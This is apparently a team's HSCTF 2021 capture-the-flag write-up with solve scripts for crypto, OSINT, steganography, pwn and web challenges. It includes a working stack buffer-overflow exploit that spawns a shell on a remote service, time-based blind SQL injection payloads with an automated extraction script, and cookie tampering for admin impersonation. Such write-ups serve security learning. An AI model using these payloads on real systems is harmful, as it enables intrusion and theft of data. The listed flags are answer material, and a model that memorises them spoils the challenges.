HSCTF 2021

algo

not-really-math

Solved by: nsa-bot and taz34

nc not-really-math.hsc.tf 1337

I did this manually by passing the values we get through this script one by one.

import math
from pwn import *
question = input("Enter Here: ")
question = question.replace('m', '*')
question = question.replace('a', '+')
question = question.split('*')
problem = []
for i in question:
    problem.append(eval(i))
answer = math.prod(problem)
if answer > 99999:
    print(answer%4294967295)
else:
    print(answer)

This is just the concept for understanding, we can solve it using this by passing each value we get through this and the copying back the answer we get from here to the script, but that is very time consuming.

nsa-bot wrote an awesome script to automate the process process:

import math
from pwn import *
from re import search
r = remote('not-really-math.hsc.tf',  1337)
    
data = r.recvuntil('\n: ')
data = data.decode().split('\n')
question = data[1]
question = question.replace('m', '*')
question = question.replace('a', '+')
question = question.split('*')
problem = []
for i in question:
    problem.append(eval(i))
answer = math.prod(problem)
r.sendline(str(answer))
    
flagfound = False
while flagfound == False:
    try:
        data = r.recvuntil('\n: ')
    except EOFError:
        data = r.recv()
    data = data.decode().split('\n')
    if search('flag', str(data)):
        flagfound = True
        flag = data[0]
        print('flag is ', flag)    
    else:
        question = data[0]
        question = question.replace('m', '*')
        question = question.replace('a', '+')
        question = question.split('*')
        problem = []
        for i in question:
            problem.append(eval(i))
        print('[+]Solving Question')
        answer = math.prod(problem)
        answer = answer%4294967295
        r.sendline(str(answer))
        print('[+]Sending Answer')
        flagfound = False

flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}

crypto

aptenodytes-forsteri

Solved by: Taz34

We are given 2 file: First is aptenodytes-forsteri.py

flag = open('flag.txt','r').read() #open the flag
    
assert flag[0:5]=="flag{" and flag[-1]=="}" #flag follows standard flag format
    
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    
encoded = ""
    
for character in flag[5:-1]:
    encoded+=letters[(letters.index(character)+18)%26] #encode each character
print(encoded)

second is output.txt

IOWJLQMAGH

I made a flag.txt file as the script takes in flag.txt file. According to the script the script only takes in the characters between the curly brackets of the flag format i.e flag{} And it also allows only capital letters.

So i made a flag.txt file with all charaters A-Z in the flag format.

flag{ABCDEFGHIJKLMNOPQRSTUVWXYZ}

Now i got the perspective encoded values of each letter so now I can compare it with the output.txt string.

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
    
I O W J L Q M A G H
Q W E R T Y U I O P

We can verify it by passing the flag we have in the flag.txt file and see if it matches with output.txt

It matches hence we have the right flag.

flag{QWERTYUIOP}

opisthocomus-hoazin

Solved by: Taz34

First opisthocomus-hoazin.py

import time
from Crypto.Util.number import *
flag = open('flag.txt','r').read()
p = getPrime(1024)
q = getPrime(1024)
e = 2**16+1
n=p*q
ct=[]
for ch in flag:
    ct.append((ord(ch)^e)%n)
print(n)
print(e)
print(ct)

2nd is output.txt

15888457769674642859708800597310299725338251830976423740469342107745469667544014118426981955901595652146093596535042454720088489883832573612094938281276141337632202496209218136026441342435018861975571842724577501821204305185018320446993699281538507826943542962060000957702417455609633977888711896513101590291125131953317446916178315755142103529251195112400643488422928729091341969985567240235775120515891920824933965514217511971572242643456664322913133669621953247121022723513660621629349743664178128863766441389213302642916070154272811871674136669061719947615578346412919910075334517952880722801011983182804339339643
65537
[65639, 65645, 65632, 65638, 65658, 65653, 65609, 65584, 65650, 65630, 65640, 65634, 65586, 65630, 65634, 65651, 65586, 65589, 65644, 65630, 65640, 65588, 65630, 65618, 65646, 65630, 65607, 65651, 65646, 65627, 65586, 65647, 65630, 65640, 65571, 65612, 65630, 65649, 65651, 65586, 65653, 65621, 65656, 65630, 65618, 65652, 65651, 65636, 65630, 65640, 65621, 65574, 65650, 65630, 65589, 65634, 65653, 65652, 65632, 65584, 65645, 65656, 65630, 65635, 65586, 65647, 65605, 65640, 65647, 65606, 65630, 65644, 65624, 65630, 65588, 65649, 65585, 65614, 65647, 65660]

We can see the each vale in ct list is actually the n modulus(%) of the XOR (^) value of the ASCII values of the flag’s characters with e.

We can verify it here, by encoding first letter of the flag i.e. “f” and this is also the first letter in the ct list:

Now I have written a small script which encode out all the characters that can be used in the flag:

import string
chr_set = string.ascii_letters + string.digits + string.punctuation
e = 65537
n = 15888457769674642859708800597310299725338251830976423740469342107745469667544014118426981955901595652146093596535042454720088489883832573612094938281276141337632202496209218136026441342435018861975571842724577501821204305185018320446993699281538507826943542962060000957702417455609633977888711896513101590291125131953317446916178315755142103529251195112400643488422928729091341969985567240235775120515891920824933965514217511971572242643456664322913133669621953247121022723513660621629349743664178128863766441389213302642916070154272811871674136669061719947615578346412919910075334517952880722801011983182804339339643
for i in range(len(chr_set)):
    x = chr_set[i] + ": " + str((ord(chr_set[i])^e)%n)
    print(x)

I also made a lookup.txt dictionary with all the elements of the ct list Now i used grep to get the elements we want form the script output:

Now i used Sublime text to replace all the values with there specific letters to get the flag

flag{tH1s_ic3_cr34m_i5_So_FroZ3n_i"M_pr3tTy_Sure_iT's_4ctua1ly_b3nDinG_mY_5p0On}

Queen of the hill

Solved By : Starry-Lord

A bit of research took me to hill cipher.

flag{climb_your_way_to_the_top}

misc

pallets-of-gold

Solved by: Taz34

After doing some basic analysis I passed it through stegsolve and changed some planes and got the flag.

flag{plte_chunks_remind_me_of_gifs}

glass-windows

Solved by: Taz34

Similarly as the previous i used stegsolve and changed some planes to get the flag

flag{this_is_why_i_use_premultiplied_alpha}

c-brother-1

Solved By : thewhiteh4t

  • The challenge mentions a user like AC01010 and JC01010 in the HSCTF discord server
  • Finding the user was easy :

  • In discord users can add some links of their social media for other people to see, here I found the YouTube channel of BC01010 :

  • There are no videos in the channel so we cannot see the watermark directly
  • At first we thought that we can get it by using the YouTube API but it only offers to set or remove a watermark from our own profile
  • So I searched for channels which use watermark in their videos and landed on Motherboard

  • Motherboard uses a subscribe image as their watermark, next I checked the files loaded in YouTube to check if this image was also loaded :

  • Now we have the URL through which the watermark is being loaded :
https://i.ytimg.com/an/B6PV0cvJpzlcXRG7nz6PpQ/featured_channel.jpg
  • We know that each channel as a random alphanumeric ID so I compared this URL with the channel page URL :
Channel   : https://www.youtube.com/channel/UCB6PV0cvJpzlcXRG7nz6PpQ
Watermark : https://i.ytimg.com/an/B6PV0cvJpzlcXRG7nz6PpQ/featured_channel.jpg
  • If you noticed, in the watermark URL the ID is missing two characters from the start i.e. UC
  • Following the pattern I tried to input the channel ID of BC01010 without the first two characters and got the watermark!
Channel   : https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA
Watermark : https://i.ytimg.com/an/qZq81jZcdjAHQJ3UtAbdaA/featured_channel.jpg


Geographic 1

Solved By : Ava and Starry-Lord

Image 1

https://www.google.com/maps/@35.8980331,14.517993,0a,75y,357.04h,87.26t/data=!3m4!1e1!3m2!1sv4-Tz3_nciJr10A1On3UZA!2e0

Round up

35.898,14.518

Image 2

https://www.google.com/maps/@43.9376526,12.4458733,0a,75y,4.8h,110.46t/data=!3m4!1e1!3m2!1sRBMGZ4AMaKcpoI7txtv7IQ!2e0

Round up

43.938,12.446

Geographic 2

Solved By : Starry-Lord

Image 1

Id. Antall József rkp.
47.504,19.044

https://maps.app.goo.gl/a8u8REGKuZv6LToe6

Image 2

Schwimmende Wiese
53.62,11.41

https://maps.app.goo.gl/Pf73iVT5pMxuTiiE7

Image 3

CERVESA ALPHA
42.569,1.489

https://maps.app.goo.gl/Uk4EBhjeHtNKZP996


seeded randomizer

Solved By : thewhiteh4t

  • we are given a java file with two functions
import java.util.Random;

public class SeededRandomizer {

	public static void display(char[] arr) {
		for (char x: arr)
			System.out.print(x);
		System.out.println();
	}

	public static void sample() {
		Random rand = new Random(79808677);
		char[] test = new char[12];
		int[] b = {9, 3, 4, -1, 62, 26, -37, 75, 83, 11, 30, 3};
		for (int i = 0; i < test.length; i++) {
			int n = rand.nextInt(128) + b[i];
			test[i] = (char)n;
		}
		display(test);
	}

	public static void main(String[] args) {
		// sample();
		// Instantiate another seeded randomizer below (seed is integer between 0 and 1000, exclusive):
		char[] flag = new char[33];
		int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63, 
				1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12, 
				13, -24, 11, 20, -16, -10, -76, -63, -18, 118};
		for (int i = 0; i < flag.length; i++) {
			int n = (int)(Math.random() * 128) + c[i];
			flag[i] = (char)n;
		}
		display(flag);
	
	}

}
  • sample prints “Hello World”
  • random is initialized with a constant seed 79808677
Random rand = new Random(79808677);
  • this means that the value produced by random will now be constant every time we execute the script
  • our flag is in main and this time Math.random is used instead of previous approach
  • but in the comments we can see that they have mentioned the range of seed which lies between 0 and 1000
  • I modified main to bruteforce random with seeds from 0 to 1000
public static void main(String[] args) {
	//sample();
	// Instantiate another seeded randomizer below (seed is integer between 0 and 1000, exclusive):
	char[] flag = new char[33];
	int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63, 
			1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12, 
			13, -24, 11, 20, -16, -10, -76, -63, -18, 118};

	for (int x = 0; x < 1001; x++) {
		Random rand = new Random(x);
		for (int i = 0; i < flag.length; i++) {
			int n = rand.nextInt(128) + c[i];
			flag[i] = (char)n;
		}
		display(flag);
	}	
}

Output :

pwn

stonks

Solved By : Taz and thewhiteh4t

  • after disassembling :

  • vuln function disassembled :

  • gets is used, lets calculate the offset at which it crashes :
from pwn import *

p = process("./chal")
p.sendline(cyclic(200, n=8)) # n -> architecture | 8 -> 64bit
p.wait()

core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8), n=8)
print(offset)

OUTPUT :

  • offset is 40

  • finding all functions :

info functions

  • when we checked ai_debug we found that it has a system call!

  • then we checked what its doing :
b main
run
jump ai_debug

OUTPUT :

  • it is executing /usr/bin/dash so we can get a shell if we can call ai_debug function

  • Address of ai_debug :

Exploit :

#!/usr/bin/python3

from pwn import *

host = 'stonks.hsc.tf'
port = 1337
offset = 40
addr = 0x401258
ret = 0x4012f3

junk = b'A' * offset
le_num = p64(addr)
le_ret = p64(ret)
buffer = junk + le_ret + le_num

conn = remote(host, port)
conn.recvuntil('symbol:')
conn.sendline(buffer)
conn.interactive()
  • Return address has been added because there is a stack alignment issue caused by LIBC present in Ubuntu i.e. the container running on the target

  • Exploit was working locally but not remotely so we found this reddit thread

  • https://www.reddit.com/r/securityCTF/comments/nbb5z2/buffer_overflow_works_fine_locally_but_not/

  • Thanks to Andr3 and hiatus!

OUTPUT :

web

grading

Solved by: Taz34

Simply login as admin using password admin Go to the simple quiz section and here we have the flag.

flag{th3_an5w3r_w4s_HSCTF_0bvi0us1y}

message-board

Solved by: Taz34

I logged in using the given credentials.

Found a cookie named userData with userID and username

here userID is 972 and username is kupatergent

Now i started looking into the given server code files and in one of the files named app.js i found this:

that indicates that we don’t need password for admin access we just need the correct user id.

So, now i fired up BurpSuite sent the request with cookie to the intruder replaced the username with admin and set the payload parameter at userID

Cookie: userData=j%3A%7B%22userID%22%3A%22§9§%22%2C%22username%22%3A%22admin%22%7D

Payload settings:

Also set up a grep match for flag{ as that is the starting of the flag

And now we have to look for a ticked checkbox for flag{ and in the response section of that response we have the flag

here we have the flag, we can confirm it on the website by changing the cookie values:

userID = 768
username = admin

flag{y4m_y4m_c00k13s}

NRC - no right click

Solved By : Starry-Lord

To bypass the right click problem:

view-source:https://no-right-click.hsc.tf/useless-file.css


big blind

Solved By : thewhiteh4t

  • we are given a login page in this challenge
  • the page source does not contain any JS
  • After trying several things I found that we get status 500 on using ' in either username or password field
  • we don’t get an error if we use ' in both fields
  • A better test is to use the following :
user : ''
pass : '
  • in the above case we get an error which shows that its due to an un-closed '
  • we don’t get an error in the following case :
user : ''
pass : ''
  • finally I confirmed that its blind SQL injection by using the following payload :
' or sleep(2) and 1=1#
  • so here it was clear that its MySQL because syntax for others are different
  • I used SUBSTRING and SLEEP to bruteforce the flag one character at a time
  • payload :
' OR IF(SUBSTRING(pass,1,1)='f',sleep(5),sleep(0))#
  • Explanation :
    • substring function requires three arguments
    • first argument is the string which we want to check
    • second argument is the position which we want to check
    • third argument is the length we want to check
    • to check one character at a time I incremented second argument each time and kept third argument fixed
  • Usage of IF :
    • If uses three arguments
    • first is the condition
    • second is action if condition is True
    • third is action if condition is False
    • so when we find a match we will see a sleep of 5 seconds else page will load immediately
  • Automation :
from requests import post, ReadTimeout

url = 'https://big-blind.hsc.tf/'
charset = '_{}flagisodnbcehjkmpqrtuvwxyz'
flag = ''
counter = 0

while flag.endswith('}') != True:
    counter += 1
    for char in charset:
        payload = {
            'user': 'twh',
            'pass': f"' OR IF(SUBSTRING(pass,{counter},1)='{char}',sleep(5),sleep(0))#"
        }
        try:
            r = post(url, data=payload, timeout=3)
        except ReadTimeout:
            flag += char
            print(f'FLAG : {flag}')
            break
  • output :


Digits of Pi 1

Solved By : Starry-Lord

First thing, check the cells and find a formula.

Formula seems to be pointing to another sheet’s called Source and its range ‘A:B’.

When you use spreadsheets, the accessibility tools actually help in un hiding hidden sheets, like the Source sheet here.

To activate accessibility tools, go to Tools (‘Outils’ on the picture), and select Accessibility tools.

Accessibility Tool include a way to call a range from the document so Monkey see🐒, Monkey do 🐒:

Note: it turns out you can reach a hidden sheet’s full range by just typing its name (‘Source’ instead of ‘Source’!A:B)

It reveals the hidden sheet! On the bottom left you can see it got added to the panes.

And as suspected, you can find the flag in there somewhere. Thanks to my team mates for finding the flag for me